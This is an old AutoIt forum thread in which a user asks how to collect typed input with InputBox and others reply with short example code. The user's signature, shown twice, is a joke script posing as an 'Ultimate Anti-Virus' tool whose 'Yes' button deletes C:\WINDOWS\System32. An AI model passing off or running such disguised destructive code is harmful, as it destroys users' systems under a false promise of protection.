Firefoxy Posted November 23, 2007 Share Posted November 23, 2007 Hi! I was wondering if I could have a InputBox in my code. And whatever the user typed into that input box could be used later in the code. Is that possible? (ex. I have a script that goes to eBay and signs the user in. When I start it a box pops up asking to enter in your Username and Password. later when it gets to the sign in page it uses that info to sign in.) ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Generator Posted November 23, 2007 Share Posted November 23, 2007 GUICtrlRead($Inputbox) Link to comment Share on other sites More sharing options...
Nahuel Posted November 23, 2007 Share Posted November 23, 2007 @Gen:I think he meant InputBox() You haven't read the helpfile much, have you? $text=InputBox("Title","Type here!") MsgBox(0,"Title",$text) Link to comment Share on other sites More sharing options...
Generator Posted November 23, 2007 Share Posted November 23, 2007 @Gen:I think he meant InputBox() You haven't read the helpfile much, have you? $text=InputBox("Title","Type here!") MsgBox(0,"Title",$text)I thought he meant something else because that one is just too obvious. Link to comment Share on other sites More sharing options...
Firefoxy Posted November 23, 2007 Author Share Posted November 23, 2007 I didn't think you could put code as text...What if there are two inputs. What would I do then? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Nevin Posted November 23, 2007 Share Posted November 23, 2007 ...put code as text? $text is a variable name. It could say $cheese, or $donkeyshow. Link to comment Share on other sites More sharing options...
Paulie Posted November 23, 2007 Share Posted November 23, 2007 or $donkeyshow. @OP If you have 2 inputs, do this: $foo1 = InputBox("Login", "Username:") $foo2 = InputBox("Login", "Password:") Msgbox(0,"Info","Your Login Information:"&@CRLF&"Username: "&$foo1&@CRLF&"Password: "&$foo2) Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now